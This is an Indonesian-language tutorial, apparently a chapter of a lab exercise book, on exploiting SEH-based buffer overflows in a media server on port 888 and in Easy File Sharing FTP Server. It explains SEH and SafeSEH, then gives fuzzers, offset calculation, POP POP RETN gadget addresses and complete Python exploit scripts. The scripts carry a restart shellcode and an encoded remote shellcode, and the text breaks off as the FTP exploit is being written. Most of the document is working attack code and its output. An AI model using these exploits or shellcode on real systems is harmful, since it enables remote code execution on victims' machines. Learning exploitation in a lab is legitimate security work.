Sumber : msdn.microsoft.com - https://msdn.microsoft.com/en-us/library/windows/desktop/ms680657%28v=vs.85%29.aspx

/SAFESEH is only valid when linking for x86 targets. /SAFESEH is not supported for platforms that already have the exception handlers noted. For example, on x64 and ARM, all exception handlers are noted in the PDATA. ML64.exe has support for adding annotations that emit SEH information (XDATA and PDATA) into the image, allowing you to unwind through ml64 functions.

Sumber : msdn.microsoft.com- https://msdn.microsoft.com/en-us/library/9a89h429.aspx

Untuk memahami cara kerja bypass SEH dibaca tulisan dibawah ini yang ditulis arybyte

Stack dalam memory sebenarnya adalah kumpulan file 32bit (4byte) yang disusun secara bertumpuk dengan pola LIFO Last In First Out). dimana data yang terahir dimasukkan akan pertama kali di keluarkan dari tumpukan. Dengan metode POP POP RETN, aplikasi akan mengeluarkan 2 tumpukan teratas (dengan dua kali perintah pop) dan kemudian akan mengeksekusi tumpukan ketiga sabagai return address SEH, maka POP pertama akan memunculkan error yang akan dilemparkan ke fungsi SEH, kemudian fungsi SEH ini akan ditumpuk oleh POP kedua, sehingga aplikasi tidak akan mengeksekusi SEH, dan pada tumpukan ketiga aplikasi akan dipaksa untuk RETN atau mengeksekusi alamat return, dan apabila return address di arahkan ke dalam kode jahat, maka sistem akan terexploitasi dengan mudah. Untuk mengatasi hal ini muncullah metode ke dua yaitu safeSEH.

Metode SEH yang tadinya di anggap aman oleh banyak pengembang software ternyata masih dapat di kalahkan dengan suatu metode sederhana yaitu penggunaan perintah POP POP RETN pada memory. Untuk itu Microsoft membuat sebuah metode baru yang melindungi SEH dari penggunaan trik POP POP RETN, yang disebut dengan safeSEH.

safeSEH

SafeSEH sendiri sebenarnya adalah suatu bentuk linker option yang digunakan programmer pada saat melakukan kompilasi. Cara kerjanya adalah sefeSEH akan membuat sebuah list di dalam modulnya, mana-mana saja alamat yang hanya akan digunakan oleh aplikasi untuk menagnani SEH, sehingga apabila terjadi exploitasi pada SEH menggunakan metode POP POP RET, safeSEH akan melakukan pengecekan apakah alamat RETN dari SEH sama dengan yang ada di dalam module safeSEH, jika berbeda maka safeSEH akan memaksa untuk mengembalikan alamat seperti semula.

Sumber : http://ayrbyte.blogspot.co.id/2012/03/seh-dan-safeseh.html

Pengujian program untuk penempatan port secara default

All media server dalam posisi offline

```
Nmap done: 1 IP address (1 host up) scanned in 14.26 seconds
root@kalipower:~# nmap 192.168.1.39

Starting Nmap 6.25 ( http://nmap.org ) at 2015-08-18 13:20 EDT
Nmap scan report for 192.168.1.39
Host is up (0.0023s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
81/tcp   open  hosts2-ns
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
MAC Address: 08:00:27:07:7A:E4 (Cadmus Computer Systems)
```

Hasil scan dengan NMAP jika All Media Server tidak diaktifkan

All Media Server diaktifkan

Hasil scanning menunjukkan keberadaan port 888.

Buat program fuzzer untuk port 888

Jalankan di Imunnity Debugger lalu Open untuk mediaserver.exe

Di atas adalah tampilannya

Hasil setelah program fuzzer dijalankan, ternyata tidak mencapai EIP.

Kita periksa di SEH Chain. Pilih View lalu SEH Chain

Perhatikan hasilnya di atas, paket dilakukan handle oleh SEH Chain

```
Console
File  Edit  View  Help

F:\Program Files\Rapid7\framework\msf3>cd tools

F:\Program Files\Rapid7\framework\msf3\tools>ruby pattern_create.rb 1500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A
f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9
Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9
Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As
6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9
Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B
d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9
Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi
6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B
l3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9
Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq
6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B
t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9
Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9

F:\Program Files\Rapid7\framework\msf3\tools>
Ready                                                    25x80
```

Masuk pada system console yang ada di Metasploit Framework, masuk ke dalam Tools, jalankan program pattern_create.rb seperti di atas.

```
all2 - Notepad
File  Edit  Format  View  Help
#!/usr/bin/python
import socket

data =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1
e1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag
Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4A
4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6
q6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As
Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9A
9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1
d1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf
Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4B
4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6
p6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br
Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9B
9"
s  = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.39",888))
s.send(data)
s.close()
```

Modifikasi pada program fuzzer.

Pada SEH Chain. Setelah dijalankan muncul 396A238.

```
F:\Program Files\Rapid7\framework\msf3\tools>ruby pattern_offset.rb 396A4238
1076

F:\Program Files\Rapid7\framework\msf3\tools>
```

Jalankan di System Console untuk pattern_offset.rb seperti di atas.

Cari modul yang tidak ada SafeSEH dengan Mona, perintahnya !mona nosafeseh.

Kita gunakan modul avformat-53.dll

Masuk di Search for lalu Sequence of Commands seperti yang ada pada gambar di atas.

Masukkan

POP R32

POP R32

RETN

Alamat yang didapatkan adalah 6AB01671. Saat dimasukkan didalam exploit : \x71\x16\xB0\x6A atau bisa dengan struct.pack("<I", 0x773D4540) tapi tambahkan struct pada import. Jadi Import socket, struct.

Contoh Shellcode

Mengambil alamat WinExec dan ExitProcess di Windows XP SP3

```
E:\> arwin kernel32.dll WinExec
arwin - win32 address resolution program - by steve hanna - v.01
WinExec is located at 0x7c8623ad in kernel32.dll

E:\> arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x7c81cafa in kernel32.dll

E:\>_
```

```
/*
#[+] Author: TUNISIAN CYBER
#[+] Title: Shellcode: win32/xp sp3 Restart computer
#[+] Date: 16-04-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp 32bit SP3
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R
#[+] Credits: steve hanna
              projectshellcode.com
============================
Assembly:

;create.asm
[Section .text]

BITS 32

global _start

_start:

jmp short GetCommand
CommandReturn:
    pop ebx

    xor eax,eax
    push eax
    push ebx
    mov ebx,0x7c8623ad
    call ebx

    xor eax,eax
    push eax
    mov ebx, 0x7c81cafa
    call ebx

GetCommand:
    call CommandReturn
    db "cmd.exe /C shutdown /r /t 0"
    db 0x00
============================
*/
char shellcode[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca"
"\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x43\x20"
"\x73\x68\x75\x74\x64\x6f\x77\x6e\x20\x2f\x72\x20\x2f\x74\x20\x30\x00";



int main(int argc, char **argv){int (*f)();f = (int (*)())shellcode;(int)(*f)();}
```

Sumber : https://www.exploit-db.com/exploits/36780/

```
root@dhcppc4:~# nano restart.asm
root@dhcppc4:~# nasm -f elf restart.asm -o restart.o
root@dhcppc4:~# objdump -d restart.o

restart.o:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:   eb 16                   jmp    18 <GetCommand>

00000002 <CommandReturn>:
   2:   5b                      pop    %ebx
   3:   31 c0                   xor    %eax,%eax
   5:   50                      push   %eax
   6:   53                      push   %ebx
   7:   bb ad 23 86 7c          mov    $0x7c8623ad,%ebx
   c:   ff d3                   call   *%ebx
   e:   31 c0                   xor    %eax,%eax
  10:   50                      push   %eax
  11:   bb fa ca 81 7c          mov    $0x7c81cafa,%ebx
  16:   ff d3                   call   *%ebx
```

Modifikasi program fuzzernya

```
#!/usr/bin/python

import socket, struct

data = "\x90" * 1076

seh_handler = "\x71\x16\xb0\x6A"

nop = "\x90" * 20

shellcode = ("\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca" +

"\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x43\x20" +

"\x73\x68\x75\x74\x64\x6f\x77\x6e\x20\x2f\x72\x20\x2f\x74\x20\x30\x00")


s  = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("192.168.1.39",888))

s.send(data+seh_handler+nop+shellcode)

s.close()
```

Contoh untuk remote

```
#!/usr/bin/python
import socket, struct
data = "\x90" * 1076
seh_handler = "\x71\x16\xb0\x6A"
nop = "\x90" * 20
shellcode = ("\xb8\x99\xc3\x44\x9c\xd9\xe9\xd9\x74\x24\xf4\x5f\x29\xc9" +
"\xb1\x56\x31\x47\x13\x83\xc7\x04\x03\x47\x96\x21\xb1\x60" +
"\x40\x2c\x3a\x99\x90\x4f\xb2\x7c\xa1\x5d\xa0\xf5\x93\x51" +
"\xa2\x58\x1f\x19\xe6\x48\x94\x6f\x2f\x7e\x1d\xc5\x09\xb1" +
"\x9e\xeb\x95\x1d\x5c\x6d\x6a\x5c\xb0\x4d\x53\xaf\xc5\x8c" +
"\x94\xd2\x25\xdc\x4d\x98\x97\xf1\xfa\xdc\x2b\xf3\x2c\x6b" +
"\x13\x8b\x49\xac\xe7\x21\x53\xfd\x57\x3d\x1b\xe5\xdc\x19" +
"\xbc\x14\x31\x7a\x80\x5f\x3e\x49\x72\x5e\x96\x83\x7b\x50" +
"\xd6\x48\x42\x5c\xdb\x91\x82\x5b\x03\xe4\xf8\x9f\xbe\xff" +
"\x3a\xdd\x64\x75\xdf\x45\xef\x2d\x3b\x77\x3c\xab\xc8\x7b" +
"\x89\xbf\x97\x9f\x0c\x13\xac\xa4\x85\x92\x63\x2d\xdd\xb0" +
"\xa7\x75\x86\xd9\xfe\xd3\x69\xe5\xe1\xbc\xd6\x43\x69\x2e" +
"\x03\xf5\x30\x27\xe0\xc8\xca\xb7\x6e\x5a\xb8\x85\x31\xf0" +
"\x56\xa6\xba\xde\xa1\xc9\x91\xa7\x3e\x34\x19\xd8\x17\xf3" +
"\x4d\x88\x0f\xd2\xed\x43\xd0\xdb\x38\xc3\x80\x73\x92\xa4" +
"\x70\x34\x42\x4d\x9b\xbb\xbd\x6d\xa4\x11\xc8\xa9\x6a\x41" +
"\x99\x5d\x8f\x75\x0c\xc2\x06\x93\x44\xea\x4e\x0b\xf0\xc8" +
"\xb4\x84\x67\x32\x9f\xb8\x30\xa4\x97\xd6\x86\xcb\x27\xfd" +
"\xa5\x60\x8f\x96\x3d\x6b\x14\x86\x42\xa6\x3c\xc1\x7b\x21" +
"\xb6\xbf\xce\xd3\xc7\x95\xb8\x70\x55\x72\x38\xfe\x46\x2d" +
"\x6f\x57\xb8\x24\xe5\x45\xe3\x9e\x1b\x94\x75\xd8\x9f\x43" +
"\x46\xe7\x1e\x01\xf2\xc3\x30\xdf\xfb\x4f\x64\x8f\xad\x19" +
"\xd2\x69\x04\xe8\x8c\x23\xfb\xa2\x58\xb5\x37\x75\x1e\xba" +
"\x1d\x03\xfe\x0b\xc8\x52\x01\xa3\x9c\x52\x7a\xd9\x3c\x9c" +
"\x51\x59\x4c\xd7\xfb\xc8\xc5\xbe\x6e\x49\x88\x40\x45\x8e" +
"\xb5\xc2\x6f\x6f\x42\xda\x1a\x6a\x0e\x5c\xf7\x06\x1f\x09" +
"\xf7\xb5\x20\x18" )
s  = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.39",888))
s.send(data+seh_handler+nop+shellcode)
s.close()
```

Latihan

1. Uji jika program dipasang di Windows 7

14.19 Kasus eksoloitasi program dengan proteksi SEH pada Windows 10

Di sini untuk kasusnya adalah computer dengan ip address 192.168.1.87. Option yang digunakan adalah -A untuk NMAP.

```
  --no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
  -6: Enable IPv6 scanning
  -A: Enable OS detection, version detection, script scanning, and traceroute
  --datadir <dirname>: Specify custom Nmap data file location
  --send-eth/--send-ip: Send using raw ethernet frames or IP packets
  --privileged: Assume that the user is fully privileged
  --unprivileged: Assume the user lacks raw socket privileges
```

Perintah yang dilakukan nmap -A 192.168.1.87

```
Command Prompt

C:\>nmap -A 192.168.1.87

Starting Nmap 6.49BETA3 ( https://nmap.org ) at 2015
t Time
Nmap scan report for 192.168.1.87
Host is up (0.0018s latency).
Not shown: 995 filtered ports
PORT    STATE SERVICE      VERSION
21/tcp  open  ftp          Easy File Sharing ftpd
|_ftp-bounce: no banner
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows 98 netb
445/tcp open  microsoft-ds (primary domain: WORKGROU
990/tcp open  ssl/ftp      Easy File Sharing ftpd
|_ftp-bounce: no banner
| ssl-cert: Subject: commonName=www.efssoft.com/orga
c./stateOrProvinceName=California/countryName=US
| Not valid before: 2007-02-27T06:40:07
|_Not valid after:  2008-02-27T06:40:07
1 service unrecognized despite returning data. If yo
please submit the following fingerprint at https://r
ew-service :
```

Hasilnya OS yang terdeteksi adalah Windows 10

```
Command Prompt
Service Info: Host: DESKTOP-2R5UVNV; OSs: Windows, Windows 98; CPE: cpe:/o:m
soft:windows, cpe:/o:microsoft:windows_98

Host script results:
|_nbstat: NetBIOS name: DESKTOP-2R5UVNV, NetBIOS user: <unknown>, NetBIOS MA
8:00:27:ae:78:02 (Cadmus Computer Systems)
| smb-os-discovery:
|   OS: Windows 10 Enterprise 10240 (Windows 10 Enterprise 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   NetBIOS computer name: DESKTOP-2R5UVNV
|   Workgroup: WORKGROUP
|_  System time: 2015-09-13T21:00:53-07:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

TRACEROUTE
HOP RTT     ADDRESS
1   1.81 ms 192.168.1.87

OS and Service detection performed. Please report any incorrect results at h
://nmap.org/submit/ .
```

Download program FTP Server Easy File Sharing di internet lalu install dan aktifkan di virtual machine Windows 10 dengan ip address 192.168.1.75

Cek dengan Master FTP fuzzer yang dibuat oleh TheXero - http://www.nullsecurity.net/ untuk mengetahui celah buffer overflow pada suatu command FTP.

```
C:\Python27>python cekftp.py -t 192.168.1.75 -p 21 -U anonymous -P anonymous -m
3000 -e
Fuzzing ABOR with 100 bytes of A
Fuzzing ABOR with 200 bytes of A
Fuzzing ABOR with 300 bytes of A
Fuzzing ABOR with 400 bytes of A
Fuzzing ABOR with 500 bytes of A
Fuzzing ABOR with 600 bytes of A
Fuzzing ABOR with 700 bytes of A
Fuzzing ABOR with 800 bytes of A
Fuzzing ABOR with 900 bytes of A
Fuzzing ABOR with 1000 bytes of A
Fuzzing ABOR with 1100 bytes of A
Fuzzing ABOR with 1200 bytes of A
Fuzzing ABOR with 1300 bytes of A
Fuzzing ABOR with 1400 bytes of A
Fuzzing ABOR with 1500 bytes of A
Fuzzing ABOR with 1600 bytes of A
Fuzzing ABOR with 1700 bytes of A
Fuzzing ABOR with 1800 bytes of A
Fuzzing ABOR with 1900 bytes of A
```

Hasilnya socket mengalami timeout pada fuzzing pada command PASS dengan pengikiriman paket 600 bytes.

```
Fuzzing PASS with 100 bytes of ,
Fuzzing PASS with 200 bytes of ,
Fuzzing PASS with 300 bytes of ,
Fuzzing PASS with 400 bytes of ,
Fuzzing PASS with 500 bytes of ,
Fuzzing PASS with 600 bytes of ,
Socket timeout

C:\Python27>
```

Di cek di script Master FTP fuzzer yang dibuat oleh TheXero - http://www.nullsecurity.net/ terdapat \x2c atau comma (,) dan command PASS ada di list of the available commands to fuzz.

```
## Lists the normal ascii chars
normal = ["\x41", "\x42", "\x43", "\x44", "\x45", "\x46", "\x47", "\x48",
"\x49", "\x4a", "\x4b", "\x4c", "\x4d", "\x4e", "\x4f", "\x50", "\x51",
"\x52", "\x53", "\x54", "\x55", "\x56", "\x57", "\x58", "\x59", "\x5a",
"\x5b", "\x5c", "\x5d", "\x5e", "\x5f", "\x60", "\x61", "\x62", "\x63",
"\x64", "\x65", "\x66", "\x67", "\x68", "\x69", "\x6a", "\x6b", "\x6c",
"\x6d", "\x6e", "\x6f", "\x70", "\x71", "\x72", "\x73", "\x74", "\x75",
"\x76", "\x77", "\x78", "\x79", "\x7a", "\x7b", "\x7c", "\x7d", "\x7e",
"\x7f", "\x20", "\x21", "\x22", "\x23", "\x24", "\x25", "\x26", "\x27",
"\x28", "\x29", "\x2a", "\x2b", "\x2c", "\x2d", "\x2e", "\x2f", "\x30",
"\x31", "\x32", "\x33", "\x34", "\x35", "\x36", "\x37", "\x38", "\x39",
"\x3a", "\x3b", "\x3c", "\x3d", "\x3e", "\x3f", "\x40"]

## Lists all of the available commands to fuzz
commands =["ABOR", "ACCT", "ADAT", "ALLO", "APPE", "AUTH", "CCC",
"CDUP", "CONF", "CWD", "DELE", "ENC", "EPRT", "EPSV", "FEAT", "HELP",
"LANG", "LIST", "LPRT", "LPSV", "MDTM", "MIC", "MKD", "MLSD", "MLST",
"MODE", "NLST", "NOOP", "PASS", "OPTS", "PASS", "PASV", "PORT", "PROT",
"PWD", "QUIT", "REIN", "REST", "RETR", "RMD", "RNFR", "RNTO", "SITE",
"SIZE", "STAT", "STOR", "STOU", "STRU", "SYST", "TYPE", "USER", "XCUP",
"XMKD", "XPWD", "XRSQ", "XSEM", "XSEN"]
```

Bukan program Immunity Debugger

Klik Open

Pilih file fsfs.exe

Klik icon Play

FTP Server aktif

Di sini dibuat program fuzzing untuk menguji kembali apakah crash yang terjadi mengenai EDI dan EIP.

testing21 - Notepad

File Edit Format View Help

```
import socket

paket = ","*1000
iptarget ="192.168.1.75"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(iptarget), 21))
print s.recv(1024)
s.send("USER anonymous\r\n")
print s.recv(1024)
s.send("PASS " + paket + "\r\n")
print s.recv(1024)
s.close()
```

Program fuzzer dijalan.

```
C:\Python27>python testing21.py
220 Welcome to Easy File Sharing FTP Server!

331 username ok, need password.
```

Hasilnya tidak mengenai EDI dan EIP tapi mengalami crash

Di sini dinaikkan paketnya menjadi 2800 bytes

testing21 - Notepad

File Edit Format View Help

```
import socket

paket = ","*2800
iptarget ="192.168.1.75"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(iptarget), 21))
print s.recv(1024)
s.send("USER anonymous\r\n")
print s.recv(1024)
s.send("PASS " + paket + "\r\n")
print s.recv(1024)
s.close()
```

Program fuzzer dengan paket 2800 bytes dikirimkan pada command PASS di FTP Server target.

```
C:\Python27>python testing21.py
220 Welcome to Easy File Sharing FTP Server!

331 username ok, need password.
```

Paket mengenai EDI tapi tidak mengenai EIP

zkarena kena di EDI tapi tidak di EIP maka di sini dicek pada SEH Chain

Muncul di SEH Handler, disimpulkan bahwa program FTP Server Easy File Sharing menggunakan proteksi SEH agar paket tidak mengenai EIP.

Dibuat paket yang terstruktur untuk mengetahui jumlah byte yang dibutuhkan, karena dengan asumsi dikirim 2800 bytes mengalami crash maka di sini paket terstruktur yang dibuat ukurannya adalah 2800.

Di sini menggunakan program pattern_create.rb dari Metasploit Framework.

Hasil dari pattern create ada di file 2800.txt

Di sini dicoba hasilnya dimasukkan dalam variabel paket untuk dikirim pada command PASS di FTP Server target.

Program fuzzer dijalankan

```
C:\Python27>python testing21.py
220 Welcome to Easy File Sharing FTP Server!

331 username ok, need password.

230 User logged in. proceed.


C:\Python27>
```

Hasilnya tidak ada muncul corrupt entry

Jika dianalisa dari pengecekan dengan script Master FTP fuzzer yang dibuat oleh TheXero - http://www.nullsecurity.net/ hanya mengalami crash jika dikirim \x2c atau comma (,) dan command PASS ada di list of the available commands to fuzz, bukan dikirim paket selain comma (,), sehingga di sini dipisahkan antara comma (,) dengan paket terstruktur yang dibuat dari pattern create.

Hasil program fuzzer setelah dimodifikasi dengan memisahkan comma (,) dengan dengan paket terstruktur dari pattern create.

File Edit Format View Help

```
import socket

paket = ","
paket +=
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7A
f5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3
Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am
6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4A
w2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0
Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd
3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1B
m9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7
Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu
0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8B
d6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4
Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl
7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5C
u3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1
Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db
4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2D
10Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8

iptarget ="192.168.1.75"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(iptarget), 21))
print s.recv(1024)
s.send("USER anonymous\r\n")
```

Program fuzzer dijalankan kembali

```
C:\Python27>python testing21.py
220 Welcome to Easy File Sharing FTP Server!

331 username ok, need password.
```

Cek di SEH Chain

Hasilnya muncul Corrupt entry dan terdapat angka di atasnya 68443468

Masukkan angka-angka tersebut pada pattern offset seperti di bawah, hasilnya muncul angka 2563 yang artinya dibutuhkan 2563 bytes untuk melakukan teknik pop, pop, retn pada target untuk melakukan bypass dari proteksi SEH.

```
C:\Program Files\Rapid7\framework\msf3\tools>ruby pattern_offset.rb 68443468
2563
```

Di sini untuk memasukkan commad pop, pop, retn maka dibutuhkan modul yang tidak memiliki proteksi SafeSEH atau ASLR.

SAFESEH is only valid when linking for x86 targets. /SAFESEH is not supported for platforms that already have the exception handlers noted.

Sumber : msdn.microsoft.com - https://msdn.microsoft.com/en-us/library/9a89h429.aspx

Address space layout randomization (ASLR) is a computer security technique involved in protection from buffer overflow attacks. In order to prevent an attacker from reliably jumping to, for example, a particular exploited function in memory, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap and libraries.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Address_space_layout_randomization

Untuk melakukan pengecekan digunakan program mona.

Download monay.py : https://raw.githubusercontent.com/corelan/mona/master/mona.py

Simpan mona.py pada folder pycommands yang ada di Immunity Debugger.

Cek modul yang tidak terproteksi SafeSEH dengan MONA

Cek modul yang tidak terproteksi ASLR dengan MONA

Klik View lalu Executable Modules

Pilih Modul yang tidak memiliki proteksi ASLR dan SafeSEH yaitu SSLEAY32.dll

Klik kanan pilih Search For lalu pilih Sequence of commands

Masukkan

```
POP R32

POP R32

RENT
```

pada Find Sequence of commands

Ditemukan alamat untuk dimasukkan shellcode yaitu 1000227F tapi alamat memiliki bad character. Jika dibalik maka hasilnya \x7F\22\x00\x10. Nilai \x00 menyebabkan alamat ini tidak bisa digunakan. List of bad characters("\x00\x0a\x0d")

Karena memiliki bad character maka tekan ctrl + L untuk mencari alamat yang tidak memiliki bad character, caranya mencari, tekan Ctrl + L terus hingga menemukan alamat yang tidak memiliki bad character.

Hasilnya ditemukan alamat yang tidak memiliki bad character, alamat tersebut adalah 10010813, jika dibalik, \x13\x08\x01\x10.

Setelah selesai maka kita buat exploit nya

import socket

```
payload = ","

payload += "A"*2563

